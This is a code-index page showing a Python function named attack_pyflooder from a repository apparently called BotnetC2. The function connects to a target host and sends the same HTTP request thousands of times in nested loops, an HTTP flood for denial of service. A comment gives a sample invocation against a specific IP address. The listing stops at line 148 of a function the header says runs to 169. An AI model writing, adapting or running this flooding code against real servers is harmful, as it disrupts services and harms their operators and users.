MCPcopy Create free account
hub / github.com/Hex1629/BotnetC2 / attack_pyflooder

Function attack_pyflooder

BOTNETc2/bot.py:91–169  ·  view source on GitHub ↗
(ip,host, port,type_attack)

Source from the content-addressed store, hash-verified

89 tls_sock.close()
90
91def attack_pyflooder(ip,host, port,type_attack): # .PYFLOODER http://51.159.30.249 80 1
92 url_path = generate_url_path(5)
93 dos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
94 try:
95 dos.connect((ip, port))
96
97 byt = (f"{type_attack} /{url_path} HTTP/1.1\nHost: {host}\n\n").encode()
98 dos.send(byt)
99 for tread in range(500):
100 dos.send(byt)
101 dos.send(byt)
102 dos.send(byt)
103 dos.send(byt)
104 dos.send(byt)
105 dos.send(byt)
106 dos.send(byt)
107 dos.send(byt)
108 dos.send(byt)
109 dos.send(byt)
110 for tread in range(500):
111 dos.send(byt)
112 dos.send(byt)
113 dos.send(byt)
114 dos.send(byt)
115 dos.send(byt)
116 dos.send(byt)
117 dos.send(byt)
118 dos.send(byt)
119 dos.send(byt)
120 dos.send(byt)
121 dos.send(byt)
122 dos.send(byt)
123 dos.send(byt)
124 dos.send(byt)
125 dos.send(byt)
126 dos.send(byt)
127 dos.send(byt)
128 dos.send(byt)
129 dos.send(byt)
130 dos.send(byt)
131 dos.send(byt)
132 for tread in range(500):
133 dos.send(byt)
134 dos.send(byt)
135 dos.send(byt)
136 dos.send(byt)
137 dos.send(byt)
138 dos.send(byt)
139 dos.send(byt)
140 dos.send(byt)
141 dos.send(byt)
142 dos.send(byt)
143 for tread in range(500):
144 dos.send(byt)
145 dos.send(byt)
146 dos.send(byt)
147 dos.send(byt)
148 dos.send(byt)

Callers

nothing calls this directly

Calls 1

generate_url_pathFunction · 0.70

Tested by

no test coverage detected